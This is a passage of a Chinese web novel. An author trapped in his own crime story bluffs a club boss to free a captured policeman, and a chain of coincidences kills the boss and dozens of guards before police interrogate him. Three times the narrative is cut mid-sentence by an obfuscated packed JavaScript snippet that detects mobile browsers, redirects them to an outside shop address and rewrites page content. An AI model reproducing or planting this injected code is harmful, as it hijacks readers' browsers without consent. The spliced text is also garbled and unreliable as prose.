因为世界要围绕着“主角”转,只有“主角”才是特殊的,只有读者在“主角”的行为模式中感觉到了爽,卫极画这个作者才能拿到稿费,才能有饭吃。 卫极画穿越到这个世界就像做梦一样,一点也不真切,游离在世界之外。好像高高在上,漠然俯视一切的“神”。 但现在……这场梦被一场惊浪拍醒了。 如今,他已经是这个故事中的角色之一。而秦惊浪,和他一样是个活生生的人。 南刻市这样的罪恶之地,坚持正义的好人本就不多。 或许在旁人的视角来看,秦惊浪不自量力的行为天真到愚蠢可笑,甚至很不讨喜。但他那么年轻,本该有更好的未来,不应因为“神”的随意一笔,像天上短暂的流星一样暗淡坠落。 卫极画重新回到了云海会所,踏进主楼金碧辉煌的大厅。 那座手持命运纺锤的必然与定数女神雕像在原本的位置静静望着他,仿佛他决定回来也是一场必然的命运。 卫极画怂怂地给自己洗脑,“我只是去还伞……对,这么贵的伞,欠别人不好。只要进去找到落单的秦惊浪,把他带出来就好,肯定很轻松。有什么好怕的!” 他成功说服了自己,然后在巨大的女神雕像下偶遇了作为“云海”前任头牌的男公关。 执事服,金发烟熏大浓妆,头上还戴着猫耳朵。 顺带一提,是卫极画今天入职以后,这位倒霉的男公关才变成了前任头牌。 “画?”男公关显然也因为这一点记得卫极画,精准叫出了卫极画在云海会所的艺名,“回来了?花姐怎么样?” 卫极画爱撒点小谎,毫不思考地流畅道,“看着没大事了,她让我先回来。” “那快回休息室吧,别在外面晃。刚才通知说让我们赶紧找地方呆着,有警察来检查,好像是要查一个叫卫极画的杀人犯。” “……查卫极画?”卫极画喉头一哽,干笑两声,“哈哈哈…居然有杀人犯混进来了?还叫卫极画?这名字一听就不是什么好人,感觉是那种精神有问题的变态神经病,真是太恐怖,我这就回去。” “就是啊,也不知道底下那些保镖是干什么吃的,居然把这种杀人犯放进来了。” 男公关领着卫极画穿梭在无人的走廊之中,随口攀谈,“说来碰巧,这个杀人犯的名字和你的艺名正好撞了同一个字。” 哈…哈哈,是挺凑巧的,因为根本就是同一个人啊。 不会聊天的卫极画望天望地望空气,仗着男公关走在前面看不到他,就眼神飘忽,“确实巧……不过那些警察没问题吗?” 前方身影蓦然顿住。 “警察?”男公关顿时扭头,似笑非笑放任卫极画浅显的试探在走廊空旷回荡。 “怎、怎么了?”卫极画慌乱。 “不要再想警察了。”男公关冷冷道。兴许是因为常年抽烟或喝酒的缘故,他的嗓音很沙哑,“警察到这里只会无功而返,懂吗?” 这是个警告。卫极画听懂了——对方以为他发现了会所的灰色产业,想偷偷向警察举报这些污糟勾当。 “我只是好奇,哪敢干那种事啊……”卫极画垂下眼,轻声慢语,“我这种黑户,只有在这儿才有活路了。” “最好如此。” 男公关收回视线,沙哑的声音仍旧淬着冷意,“我劝你老实点。今天来的警察里,有一个想摸会所的底,已经被押到老板那儿去了,过几天肯定要拿他给你们这些新人立规矩。” 秦惊浪……已经被抓了?这么快? 卫极画指尖发冷,忽然有点后悔回来了。 这才多久?秦惊浪就被抓了,云海会所的安保究竟有多严密?他还能逃得掉吗? 而且据这个男公关的话来分析,现在被抓到老板那儿去的秦惊浪已经触及到云海会所核心的秘密了。 他错就错在知道得太多。 有些事情,知道得越多就越危险。就算卫极画有本事联系到他那个当执法局局长的父亲施压,也很难保住他的命。 后悔如冰水渗入骨髓。卫极画突然想敲开自己的脑袋看看里面到底装了什么。 他太高估自己了,也太低估这龙潭虎穴,竟然真以为能凭一己之力从这魔窟里捞人。 肯定是因为睡眠不足一时昏了头,他才能干出这种试图进贼窝救人的蠢事。卫极画想。他根本就不该回来。 现在好了,人不一定救得着,还大概率把自己的命搭进去。 想到这里,华丽的走廊似乎也随着卫极画的绝望变得有些恐怖。 暗红色的地毯,望不到底的彼端,顶缘的壁灯照亮金色浮雕墙纸,两侧扭曲的挂画色彩沉闷,那些抽象的油画人物或景物似乎在不同角度注视着卫极画笑,像恐怖电影《闪灵》中的景象。 给人种随时会出现一个扛着斧头,或者是什么其他武器的变态杀人狂冲出来的感觉……等等,武器? 卫极画忽然摸到了兜里的一件硬物。 是驯兽师之前落下的胸针,他觉得可能会有用处,又比狙击枪更小巧不起眼,在决定回会所救秦惊浪之前就随手揣进兜里了。 这枚胸针代表的是剧团与驯兽师的身份,而剧团,在卫极画的设定中是很霸道的,剧团的规矩中有两条铁律。 不允许人/口/交/易,也绝不允许成瘾性药物在南刻市流通。 卫极画的脑子里忽然冒出了一个大胆的想法。 事到如今,已经不能退缩了。假如他之前能伪装高智商变态神经病吓跑驯兽师,那么现在,他能不能借着剧团的名义狐假虎威,再演一次呢? 反正成功与否,也不过只是一条命罢了?不是吗? 卫极画闭了闭眼,走廊的顶灯在他深邃的眉骨间投下一片密压压的阴影。 “你自己去休息室吧。”卫极画听见自己平静的声音,“花姐交代了,回来以后必须先去老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914127|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板办公室一趟。” …… “云海”会所主楼,顶层办公室。 “呼——!呃!” 昏迷的秦惊浪被一盆冷水泼醒了,两个打手反折压住他的手臂,将他的脸强硬按在地毯上。 局限的视野中,他看到昏暗灯光幕墙下的热带绿植和檀木办公桌一角。 “这就是混进来的警察?”云海会所老板王海龙绕着秦惊浪转了一圈,上下端详,一副和善商人的模样,嘴里发出啧啧的赞叹声,“哦哟,瞧瞧。这么漂亮的警察,细皮嫩肉的,很正义嘛。” 他伸脚踩在秦惊浪的头上,带着某些中年男性特有的优越与高高在上的说教意味,用穿着亮光皮鞋的肥硕大脚拨弄秦惊浪的脸,“就是不太聪明。” 秦惊浪大口大口喘气,弯折的脖颈因为脸颊贴地不堪重负,原本很神气梳在脑后的小卷毛湿漉漉贴在脸上,水灌入了耳鼻。 怎么会变成这个样子呢? 他记得,他只是跟着带队的陈永年队长来云海询问“卫极画”的消息,却被敷衍打发。 那时候,他窥着其他同事含怒又毫无办法的面色,发自内心的想做点什么。 他被父亲降职赶到基层已经很久了,野心勃勃。他在等待一个机会,一个依靠自己爬到高处、改变这个世界的机会。 而不是作为谁谁谁的儿子,此生碌碌无为,只依靠父亲的庇荫被人称赞,在腐化的制度下蹉跎一生。 假如警察的身份会遭到驱赶和警惕,那么,客人的身份呢? 作为执法局局长的儿子,秦惊浪的物欲并不高,平时最大的花销只是用执法局的名义偷偷给生活困难的受害人打救助金,其余剩下的钱完全能够支撑得起他伪装客人在“云海”消费。 最初是很顺利的,他从一个年纪尚轻的陪酒少女手中套取了云海会所的VIP客户权限,在选人的资料库中找到了曾经在档案中看到过的“卫极画”。 ——照片和先前浑身湿透的狼狈模样比起来有细微差距,那张脸的辨识度却不减半分。 在这里,卫极画的名字叫“画”,好像很受欢迎。预约与卫极画见面的档期从今天排到了下个月。 秦惊浪没有那么多时间等待,悄悄离开自己的包厢,寄希望于能抓住卫极画。 厄运就在这时降临。 他没有如愿见到卫极画,却发现了“云海”参与走私违禁药物的秘密。 有人从他身后袭击,他失去意识,再次睁眼就到这儿来了。 这里,好安静……秦惊浪艰难地想。 办公室厚重的猩红地毯仿若一只巨兽,一切声音都被吞噬了,唯有他急促的呼吸和惊恐的心跳剧烈。 他不知道踩着他说教的是谁,不知道周围还有多少人,也不知道自己会遭受什么样的处置。 让一个人被困在在无法感知外界的清醒状态,怀揣不安地等待不知何时降临的死亡是一件很绝望的事。 精神上的压迫感让秦惊浪像一只被关在笼中的动物,徒劳挣扎,开始思考是否是神为他安排了这样必然的命运。 不知过了多久,在秦惊浪看不到的视角,这绝望的地狱传来了突兀的敲门声。 咚咚咚。 一次一顿,指节叩击。 如同一场突兀的雨,于寂静之中,在死水上惊起了浪花。 ——“神”比命运更先降临了。 7. 死神 卫极画“闲庭信步”地踏入了办公室。 人的初始阶级是被划定好的金字塔,普通人很少有这样直面上位者的机会。 假如一个出生在小村落或是小县城,一辈子循规蹈矩的底层年轻人,在某一天,因为某种原因,贸然踏进省会的政/府办事大楼。那么他的表现大多是什么样的呢? 胆怯、瑟缩、自卑? 巨大的心理落差,还有被局限的眼界。 他绝不会有胆子东张西望,他看也不敢看内部那些高大肃穆的装潢,光是在人们习以为常的办事厅大楼前都会望而生畏。 甚至遇到任意一名最普通的办事人员,他都下意识恐惧,在对方温和礼貌的指引中坐立不安,偷看对方整齐光鲜的工作制服,局促地不断悄悄整理自己廉价起球的衣物,试图掩藏自己的窘迫。 面对为民办事的公/务/人/员都尚且如此,何谈面对手头不干净、沾着/黑/恶/势/力,将人命视若牲畜,随时会要人命的上位者? 办公室浮雕大门被推开的瞬间,一股无形的压力便如同潮水袭涌。 首先映入卫极画眼帘的,是占据整个楼层顶端、暗色调的办公室。 猩红的波斯地毯铺了满地。 十几个黑衣打手静静站在办公室边缘角落,望去如毫无生命的雕塑分毫不动,静默的威慑叫感知觉胆颤。 卫极画此行的目标秦惊浪,正被压在中央。所处的那片地毯似乎是被泼了水,浸透成仿若血迹的脓疮深痕。 一个穿着考究西装的中年男人站在秦惊浪身旁,他的身材在别处只能说大腹便便,但在这里,被权势与恐怖装砌,有一种野兽盘踞在自家巢穴深处般的压迫感。 他叫王海龙,云海会所真正的老板。在卫极画的设定中,面前这个看似和气的商人正是南刻市地下暗流中的掠食者之一,手中不知沾染了多少普通人的鲜血。 王海龙手里夹着一只燃了半截的雪茄,猩红的火点在昏暗室内格外刺眼。在他面前,卫极画几乎能够听到自己血液冲刷耳膜的轰鸣声。 不能露怯!露怯的下场,只有死! 卫极画做了一次深长而缓慢的呼吸,让带着呛人烟味的冰冷空气灌入肺部。 这个世界由他的小说演变而成,一切设定都来源于他,他的脑子里装着许多隐秘的信息。 这些信息差,正是源于高纬之上,可被他利用的至高武器。 他能吓跑驯兽师,也一定能用同样的方式演出一条生路。 稳住!卫极画强迫自己视线平稳。 王海龙无疑是一只敏锐的鬣狗,而他是没有枪的猎人,只要显露一丝胆怯,对方就会狠狠扑上来撕咬啃食他。 要像驯兽师人物小传中的理念一样,维持人性和兽性的天平。 尽量少露出多余的表情,容易产生破绽。说话也要慢而平缓,适当留白,让人去猜。没有哪个大人物会情绪激动毫无涵养地对下等人说太多话,那样太低级可笑。 还有眼神。 将自己抽离出去,漠视这一切,想象他还是握着笔的作者,这里的一切都是他书中的虚假世界,把所有人都视作可以随手删除的段落。 把自己视作高高在上,操纵命运的神…… 卫极画用冰冷的理智压制心中沸腾的恐惧,一边走,一边在心中反复警告自己: 表演一旦开始就没有回头路了,想想《演员的自我修养》和《犯罪心理学》里讲了什么内容才是最重要的。 进入状态。 保持……从容。 “诸位,夜安。”卫极画扯动面部肌肉,缓缓溢出了微笑。 “嗯?”叼着雪茄的王海龙闻声转过头,忽然见到面带温和微笑的卫极画,略有些诧异。 他眯起眼打量卫极画这个不请自来的闯入者,露出属于掌控者的审视。 “你是…”王海龙思索了一阵,记忆终于对上了号,“你是今天新来的那个业绩第一?” 一个底层员工,不经通报,就贸然擅闯进来了? 愠怒的王海龙面色沉了下去,辨不清情绪:“秘书呢?怎么不通报你就自己进来了?” 空气凝结,办公室内的几名打手肌肉明显贲张,目光如刀锁定卫极画,只等王海龙一个示意就会扑上来。 卫极画因缺乏休息而迟钝的大脑在这压力中为了他的生命过载运转,若有所思地歪头看了看那些虎视眈眈的打手。 他难道感受不到那些目光中的恶意吗? 不,他当然能感觉到。有些打手已经按耐不住,手摸向了后腰。 卫极画眼角余光可以瞥见那些鼓鼓囊囊的轮廓,毫无疑问,那些是枪。任何一个人察觉到他有威胁,就会有子弹迸射而出。 但他…绝不能在乎! “通报?”卫极画将这两个字含在口舌间,玩味般嘲弄地重复了一遍,复而轻笑,“王老板生意做得那么大,我还是不麻烦伊娃小姐了。” 办公室陷入死寂。 王海龙的瞳孔微不可察收缩了一下。 伊娃是他的私人秘书,同时也是个杀了丈夫和孩子潜逃、被他所收留、洗白了履历的通缉犯,惯常作为心腹负责处理他最隐秘事务。 “伊娃”这个名字,从未对外公开,平时对外用的都是假名。卫极画又是如何能随口叫出伊娃和他的名字? 而且,这种语气…… 办公室落入了更深的死寂,只有雪茄的烟丝持续燃烧。 侍立在旁的打手们想要对卫极画动手,被王海龙谨慎拦下。 口出狂言的卫极画却似若无人,径直走向那张宽大的檀木办公桌,在王海龙和所有打手惊疑不定的注视中,坦然自若地坐在了属于这间办公室主人的高背皮椅上。 然后,他微微后靠,这才抬起灰蓝色的眼眸,目光如同冰冷的雨丝,漫不经心地落在王海龙脸上,“王老板,你的胆子也同样很大,这生意做得连规矩都忘了。” 王海龙的雪茄悬在半空,火星明灭不定。他看着眼前这个年轻人——几个小时前还只是个被偶然捡回来的家伙,此时却如此闲适地坐在他的位置,仿若这个办公室真正的主人,那双灰蓝色的眼睛此时平静地抬起来,带着一种让他脊背发凉的审视。 “你……”王海龙的声音卡在了喉咙里。 不对劲。 卫极画的气场完全变了,不再是那个在客人面前眉眼温和的新人,而是一种……王海龙只在某些真正的大人物身上感受过的从容。 这种从容不是装出来的,而是骨子里透出来的。 一种当人的一切物欲都被满足、站在高位将整个世界都视若无物、习惯于掌控一切的姿态。 殊不知,这种令人琢磨不透的模样,是卫极画站在“作者”的角度,洗脑自己把所有人都当书中角色看。 假如没有这个讨巧的作者身份,卫极画现在估计早被那些准备掏枪的打手吓得连滚带爬跑路,然后被打成筛子,像某两位被枪击的招笑总统一样物理层面“脑洞大开”、“心花怒放”。 但他就是这本书的作者。 你会因为随手写出的一个场景很奢华,人物身份很危险就害怕吗? 开玩笑,哪有怕的?几个自然段的事儿,这种水字数的内容,卫极画要不了30秒就可以在键盘上盲打出一大片。成仙做祖还是跌落深渊都在他的一念之间,哪个角色不讨喜,分分钟安排上千种死法让其下线。 这种来自于高纬层次的绝对抹杀,试问除了读者,还有谁能反抗他的意志? 不喜欢的内容,卫极画直接拒绝! 叫王海龙觉得,卫极画这种将世界万物视为随手可改变的物质,抽身于外的漠然真是太深不可测了。 正常人,无论怎样扮演,都不会有这样的眼神。 这真的是一个被捡回来的普通新人吗? “您……您是?”王海龙不自觉带上了敬语,雪茄灰簌簌落在猩红的昂贵波斯地毯上,他胆战心惊窥视主位上的卫极画,试图在卫极画脸上找出破绽。 “我是谁?您难道不清楚吗?”卫极画倦怠微阖着眼睛,侧头,目光扫过被按在地上的秦惊浪,又缓缓的、缓缓的移回王海龙脸上。他苍白修长的手指在檀木桌面上轻轻叩击,节奏很慢,每一下都像敲在王海龙的心脏上。 王海龙感觉一股寒气从尾脊骨窜起,瞬间攀爬至四肢百骸。 看不到,什么都看不到。 王海龙只能看到卫极画脸上不变的、温和的微笑,像一张精心描绘的面具,那双灰蓝色的眼眸中什么都没有,好似一场连绵阴雨冷峻又粘腻地在深不见底的海面逐渐蔓延。 哒—— 一枚刻着野兽和鞭子徽记的胸针被轻轻放在桌面上。 代表驯兽师身份的象征。 虽然用在这里略显低级,但效果卓群。 亲眼见到这枚胸针,王海龙心脏重跳。原先的恐怖猜测终于都变成了真实。 剧团!剧团! 王海龙当然认识这枚胸针,这是剧团干部驯兽师的身份标识!!! 是剧团的疯子! 果然!果然是那些从季氏财团得来的药被发现了! ……完了,一切都完了。 巨大的恐惧攫住了王海龙。他的脸色瞬间变得惨白,嘴唇哆嗦着想辩解,却发不出完整的声音。 剧团的规矩他是清楚的,在这南刻市,无论是谁,无论什么样的理由,违背规矩都绝不可能逃脱,下场比死更可怕。 他看着卫极画那双平静无波的眼睛,仿佛看到了自己凄惨的下场。 ——双腿被灌注水泥,然后扔进废弃码头,活生生地沉海,或者更糟。 可他也只是被上面等着参加选举的议员逼得没办法,贪图利润和议员承诺的“未来”,才以为能瞒天过海…… 王海龙双腿发软,几乎站不住。额角渗出豆大的冷汗,顺着肥胖的脸颊滑落,冷汗浸湿昂贵衬衫的后背,粘腻地贴在皮肤上。 他想抽一口烟维持体面,手指却抖得厉害,雪茄差点脱手。那平日里叱咤风云,说一不二的地下枭雄姿态此刻荡然无存,只剩下面对更高层次暴力和绝对规则时的颤栗。 卫极画勾起了唇角。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914128|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 兴许是扮演变态太入戏,卫极画竟然感觉不到恐惧了,反而是一种…酣畅淋漓在刀尖上跳舞的兴奋与发自内心的轻蔑。 何其荒谬?所谓“大人物”也不过如此,面对剧团内区区一个“罪犯”,生死之间的表现居然和普通人一个样子…… 原本有点担心自己被戳破的卫极画看王海龙这副抖如筛糠的模样,在高压之下甚至有点想笑。 哦莫,狐假虎威逗一下就信了,好好玩。 这表现还不如他呢。 再逗一下试试? “你抖什么?”卫极画身体微微前倾,手肘支在桌面上,十指交叉,饶有兴趣地放在下巴前。 这是一个工具书中典型的、带有压迫感的姿态。 王海龙抖得更凶了。 “不……不敢!误会!绝对是误会!”王海龙找回自己的声音,尖锐而急切,充满了拼死挣扎的绝望。 他再也顾不得下属就在旁边,顾不得什么体面威严,涕泪横流,穿着考究西服的肥硕身子狼狈向前踉跄两步,几乎想扑到桌前,却被卫极画一个冷淡嫌恶的眼神钉在原地。 “大人,您相信我!剧团的规矩我都铭记在心!如果有什么错漏误传到您的耳朵里,一定是下面的人擅自接触!我不知情啊,我、我立刻查!立刻处理、求求您了,您大发慈悲放我一条生路!” 卫极画静静的看着他,看着这个前一秒还掌控他人生死,脚踩着秦惊浪的“大人物”,此时却在自己轻描淡写的几句话和一枚小小的胸针面前崩溃。 啊……果然很有趣,好像一条急于求生的狗啊。 卫极画咧嘴露出森白的牙齿。 “行了,今天心情好。”他轻巧站起身,高背皮椅咕嘟咕嘟滑动到后方的书架旁,发出轻微的碰撞。 跪在地上语无伦次哀求的王海龙听见他的话,呆呆抓着办公桌边缘,精心打理的发型散乱,西装褶皱,简直不敢相信自己竟然这么轻易就被放过了。 卫极画将松散袖口挽了两圈,半截露出的小臂肌肉线条起伏流畅,他单手拎起地上的秦惊浪,扬扬下巴,“这小警察我带走了,没意见吧?” 王海龙劫后余生近乎虚脱,哪里敢再揣摩卫极画的意图?连忙回答,“没有!没有!” “没有最好。”卫极画语调轻慢。 办公室的门无声关上了。 王海龙看着卫极画离开,支撑不住瘫坐在地上。 “老板!您没事吧?”有打手想见势扶他,忽然被一手推开。 “滚!” 王海龙挥斥所有人,慌忙从猩红的地毯上爬起来,爬回那张卫极画坐过的高背皮椅上,好像又再次恢复了他的体面。 也许这张椅子实在太高,坐在这里总让人感觉俯视一切。王海龙想庆幸自己逃过一劫,坐在这张椅子上冷静下来,却又生出了死亡的危机。 他恐惧的,他是恐惧的。 剧团的规矩从来都没有人逃脱过,刚才的“驯兽师”,真的会这么轻易放过他吗? 不,绝不可能……只是这群疯子逗弄猎物的游戏罢了。 “不能放他走出‘云海’……”王海龙坐在椅子上,嘴唇蠕动着喃喃自语。 “什么?”打手们露出恐惧的目光。 “我说……他还能通天不成?用人数堆也能堆死他!不要放他走出云海。” 王海龙的表情变得凶狠,“然后,检查……检查所有知道他来过的人,一个不留。” 打手们被这条命令推离了办公室,整个“云海”如同一台巨大机器,开始轰鸣着按照王海龙的命令行动起来。 王海龙独自坐在空旷办公室内,坐着那张高背皮椅,六神无主地思考。 不够,还不够。剧团发现“驯兽师”死亡,一定会找到他头上。 必须要趁着这个机会,在被发现之前,收拾东西逃! 王海龙扶着椅子的把手站起身,打开保险柜,想拿出自己藏在办公室的备用金。 但那把椅子,那把象征身份与地位、高高的椅子,在他没注意到的角度曾往后滑了几厘米的距离。 原本一把椅子如何滑动都是无关紧要的,但卫极画离开时将这把椅子滑动到了最后,这把高背皮椅正好靠住了后方沉重的实木书架。 当时,卫极画坐在椅子上是正正好的。 然,以王海龙的体重,实木书架被抵住的板块发出了不堪重负又微不可察的断裂声。 哦,又是正正好。那块书架上放的是用于表彰慈善企业家的金属奖杯。王海龙特地摆在上面的。 那奖杯同样被摆得高高的,尖锐的棱角刚正不阿,再也无法容忍自己被欺世盗名之辈用于炫耀。 在这诡异的巧合中,分毫之差,高高的地位轰然倒塌。 ——金属奖杯洞穿王海龙的脖子。 血迹悄无声息在猩红的地毯上蔓延…… 王海龙思维消散的最后一瞬间,了然地想: 哦,卫极画果然没放过他。 只是怎么会这么快,这么精准呢?一定是他这种凡人无法揣测的手段吧? 8. 巧合 被误以为手段高明的卫极画此时正拎着秦惊浪从走廊往外走。 “你到底是谁?” 先前在办公室一直屏住呼吸减少存在值,暗中偷听卫极画和王海龙对话的秦惊浪忽然开口问,“你来这里是想干什么?” 卫极画沉默一阵,“我说我只是为了还伞,你信吗?” 秦惊浪不说话了,也不挣扎,就任卫极画拎时尚单品一样拎着他,尽量保存力气,心中预计等卫极画带他离开“云海”就尝试反抗。 卫极画表情隐隐扭曲,非常想把秦惊浪扔开。 因为……他的手真的好酸啊!!! 秦惊浪看着没他高,只有一米八几的样子,咋这么重?小时候的奶粉被偷换成了蛋白粉吗?!! 这只警犬完全是实心的! 去宠物店洗澡都得按超级大胖狗收费吧?! 卫极画感觉自己的手都快要累断了!但为了在走廊碰见的“云海”打手们面前保持恐怖罪犯的人设,他又不能主动松开! 可恶!被架在台子上下不来了! 他努力和秦惊浪的重量较劲,并没有注意到已经有人遵循王海龙的命令悄悄靠近他。 “嗒——” 装了消/音/器的手/枪音量轻微,卫极画没听出那是枪响。但卫极画因为手酸,偷偷弯了点身子,那颗原本瞄准他脑袋想要一击毙命的子弹没打中。 歪斜的子弹经动力势能产生弹反作用,击中了走廊每隔一段距离才会有的顶灯。 刷! 走廊陷入黑暗。两侧残余壁灯微弱的光照不清人影。 “唉?”卫极画抬头。 怎么回事?灯怎么熄了?停电了吗?还是坏了? 他狗狗祟祟左右环视,趁周围的人没看到,赶紧拎着秦惊浪悄悄从旁边捷径的紧急通道跑路。 “人呢?” “有动静!在那里!” “快杀了他,不然我们都得死!” “太黑了,打不中。” “傻呀,用手/榴/弹不就行了!” 一颗拉开拉环的手/雷被投掷而出。 而一无所知的卫极画却在黑暗中成功溜进了紧急通道,还不小心关上了门。 手/榴/弹被门一撞,咕嘟咕嘟滚回了走廊的人群中。 嘭! …… “姓名?” “卫极画。” “年龄?” “21。” 执法局审讯室灯光惨白刺目,墙上贴着[坦白从宽,抗拒从严]的鲜红粗体标语。桌子对面坐了两位警官。 年纪大的那个看起来36~40多岁,国字脸,板寸头。叫陈永年,南刻市执法总局重案组一队队长,对案经验丰富。 年纪小的那个看起来20多岁,长相清秀稚嫩,圆脸。叫周玉,陈永年的徒弟。办案经验方面稍显欠缺,但蝉联三届武斗大赛冠军。 这一老一少的特征很明显,一文一武经典配置,是卫极画在原书中专门为前期“主角”设置的对手,因为“主角”第一次杀人的那个案件盯上了“主角”。 他们将和超高智商的“主角”斗智斗勇,被“主角”变着法子玩弄,却怎么也抓不住“主角”。 对于天生邪恶的变态杀人魔主角来说,被警察追捕又逃脱升天的感觉特别爽,特别兴奋,特别刺激。 但对于废宅小说家卫极画来说——这很糟糕了。 卫极画的手腕被手铐束缚,丢人现眼地坐在审讯室接受两位警官严肃的审问。 是的,作为犯罪嫌疑人,他落网了。 因巧合独自死在办公室的王海龙和“云海”会所走廊上莫名其妙被炸死的一群打手在其中做出了不可磨灭的贡献。 云海会所传出爆炸消息还没五分钟,就有一群警官赶过来把刚走出云海门口的卫极画给逮捕了。 “卫极画,是吧?” 陈永年翻开档案,动作很慢,纸张摩擦的沙沙声在绝对安静里被无限放大,折磨着人的神经。 人生头一回进警局的卫极画胆战心惊偷看陈永年的脸色,结结巴巴,“不、不是?” “不是?” “是、是是!”卫极画慌张改口。 被铐在审讯室,让警察这么严厉地质问,真的很渗人。任何人坐在这里都该怕的,就算没犯事也会发庥。 更别提审讯室的布置就是为了击破嫌疑人心理防线而设计的,卫极画坐着的椅子孤零零被固定在地上,两个警察在对面紧紧盯着他。不但冷硬,还硌得慌,手腕也被手铐铐在金属审讯桌上动不了。 这可是审讯室!又不是什么念一句“墙头马上遥相顾,一见知君即断肠”就可以维持人淡如菊的体面,梗着脖子说“清者自清,臣妾百口莫辩”打发的事。 空旷昏暗的光线下,审讯灯直成一束,白惨惨地照着卫极画的脸,特别刺眼。 卫极画心里七上八下,紧张地抠手指。手腕上连接审讯桌的手铐叮当作响。 “卫极画。” 陈永年开口叫出了卫极画的名字,声音低沉,“云海会所的老板王海龙、被手榴弹炸死的保卫人员、因为混乱踩踏而死的保卫人员、还有男公关休息室见过你的人,全都死了。加上带你进入云海会所,现在都还处于失踪状态的‘花姐’,总共103个人。” “南刻市从来都没有发生过这么恶劣的大规模谋杀事件。” “这103条人命,你有什么说法?” 103条人命?什么意思?难道要算到他头上!!?关他什么事啊?!! 卫极画脸色大变,“警官,我真的不知道他们是怎么死的,我那时候都走了呀,这和我没关系!秦惊浪警官也可以作证!” “呵,作证?”陈永年铁青着脸把纸质档案摔在桌上,那份档案在光滑的金属审讯桌上打了个旋儿,滑到卫极画面前,正好让他看清上面触目惊心的死亡数字。 “云海会所的103个受害者,只有死的,没有伤的。现场干净得跟被舔过似的,没留下任何一个可以指认你的活口。而你,恰好提前带走一个警察用于给你作证,你的意思是…这些都是巧合?” “卫极画,是不是觉得你很厉害,能把所有人都玩弄于鼓掌之中?”陈永年问,“你以为所有人都像秦惊浪那蠢小子一样好骗吗?” 卫极画快哭了。 这…这听起来确实是像他故意的……他根本找不出理由为自己辩解。 但这事儿真不是他干的呀!!那些人自己死了关他什么事? 他鼓起这辈子最大的勇气,抬起哭丧的脸,用蚊子哼哼般的声音说出了那句渣男最爱经典名言:“你、你要那么想……我也没办法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914129|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这句话一出来,陈永年气得重重一巴掌拍在桌面上,让卫极画整个肩膀猛地一耸。 旁边记录审讯过程的周玉沉默无言站起身。正当卫极画在心慌的间隙疑惑他是去干什么,就见周玉悄无声息走到侧方的执法记录仪前。 “咔哒” 一直保持闪烁记录审讯过程的记录仪被关闭,证明其工作状态的红光消失了。 卫极画心神大震!! 完了完了,要死要死!! 他知道这个!审讯过程中那个执法录像机按照规矩必须一直开着,一是为保证存留档案便于研究线索,二是为保护犯罪嫌疑人的生命安全,避免被暴力执法、屈打成招、诱供、逼供。 任何故事里,执法记录仪被关掉准没好事。 这俩警察不会要揍他吧? 不要哇! 虽然将近超过48个小时没睡觉,脑子完全是钝的,但遇到危险,卫极画的智商再次占领高地,飞速回忆现在能用得上的知识,《心理博弈论》、《如何利用语言暗中操控他人行为》、《高智商罪犯如何思考?》……等等工具书飞速在他的脑子里划过。 书上怎么说的来着……处于劣势时,一定不能暴露出自己的恐惧,要主动掌控全局,让对方陷入他的节奏。 保持自信……从容。 卫极画闭上眼睛强行进入扮演状态,再次睁开时,那双灰蓝色的眼眸空无一物。 “警官,你们要屈打成招吗?”他问。 卫极画的声音异常平稳,灰蓝色的眼眸里什么情绪都没有,在暗处像阴云中的海。他甚至还稍微调整了一下被铐住的双手,让它们以一个看起来更放松的姿态搁在桌面上,苍白手腕上的金属手铐和桌面轻轻一碰,发出清脆的哗啦响声。 这声音在骤然死寂的审讯室里,清晰得吓人。 关闭执法记录仪的周玉一顿,那张青涩的圆脸满是警惕。 卫极画“无奈”地偏了偏头。 他还是在云海会所的打扮。很有设计感的深海蓝不对称上衣,串联银质装饰性链条,左耳侧畔挂着蓝紫的鸢尾花宝石耳挂。 寻常人这样穿会显得不伦不类,卫极画却穿出了忧郁迷蒙的色彩,如同一幅静谧深邃的冷色调油画。 这幅画刻意柔和了深邃高挺的眉骨,减少了幽暗的阴鸷。可周玉仍在他身上感受到了一股无形的压迫感,直觉中的警报被拉到了最高级别。 真正恐怖的罪犯从不轻易暴露攻击意图,往往在人最松懈,以为十拿九稳的瞬间给出致命一击。 周玉不敢妄动,靠在记录仪旁边的墙壁上,封住卫极画视觉侧翼,浑身肌肉紧绷,随时准备暴起。 “不用那么防备,”卫极画低笑,动了动手腕,向周玉和陈永年展示自己腕间的手铐,“我不是被铐在这吗?警官?就算屈打成招,我也对你们没办法吧?” 他的话让陈永年的心沉了下去。 卫极画嘴上说着屈打成招也没办法,看似被动,却根本没有任何多余的情绪。 何其……可怕。 陈永年的手缓缓握成了拳。他可以肯定,对待卫极画,常规的审讯方法,哪怕使用暴力,也绝对毫无作用。 